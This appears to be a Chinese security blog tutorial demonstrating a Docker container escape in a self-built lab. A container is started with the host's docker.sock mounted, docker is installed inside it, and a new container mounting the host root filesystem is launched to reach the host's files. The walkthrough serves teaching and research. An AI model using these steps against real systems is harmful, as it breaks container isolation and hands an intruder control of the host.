1. 本地环境
虚拟机Debian 10.x 64位
2. 环境搭建
2.1 运行一个Debian 容器并挂载宿主机的 Docker 套接字docker.sock
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock debian
2.2 查看容器id
docker ps
![Docker逃逸——挂载逃逸]()
2.3 进入容器
docker exec -it 389b0a208c8c bash
![Docker逃逸——挂载逃逸]()
可以看到容器根目录下有一个.dockerenv
的文件,这也是docker环境判断的一个依据
接下来就进入到逃逸环节
3. 逃逸
3.1 查找docker.sock文件
docker.sock
是docker守护进程监听的Unix域套接字
当你在host上安装并且启动好docker,docker daemon 会自动创建一个socket文件并且保存在/var/run/docker.sock目录下。docker daemon监听着socket中即将到来的链接请求(可以通过-H unix:///var/run/docker.sock设定docker daemon监听的socket文件,-H参数还可以设定监听tcp:port或者其它的unix socket),当一个链接请求到来时,它会使用标准IO来读写数据。
find / -name docker.sock
![Docker逃逸——挂载逃逸]()
3.2 进行挂载逃逸
在上一步中,我们找到了docker.sock文件。接下来,将宿主机根目录挂载到当前容器的test目录下
docker run -it -v /:/test ubuntu bash
![Docker逃逸——挂载逃逸]()
执行命令后出现以上错误,则需要在容器中安装docker环境
apt update && apt install -y docker.io
下载完成之后,就可以执行刚才的挂载命令
接下来进入到刚才挂载的test/root文件夹下
test/root文件夹
宿主机的root文件夹
可以看到已经成功逃逸
欢迎关注我的博客https://blog.pledgesec.top/
原文始发于微信公众号(01安全屋):Docker逃逸——挂载逃逸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论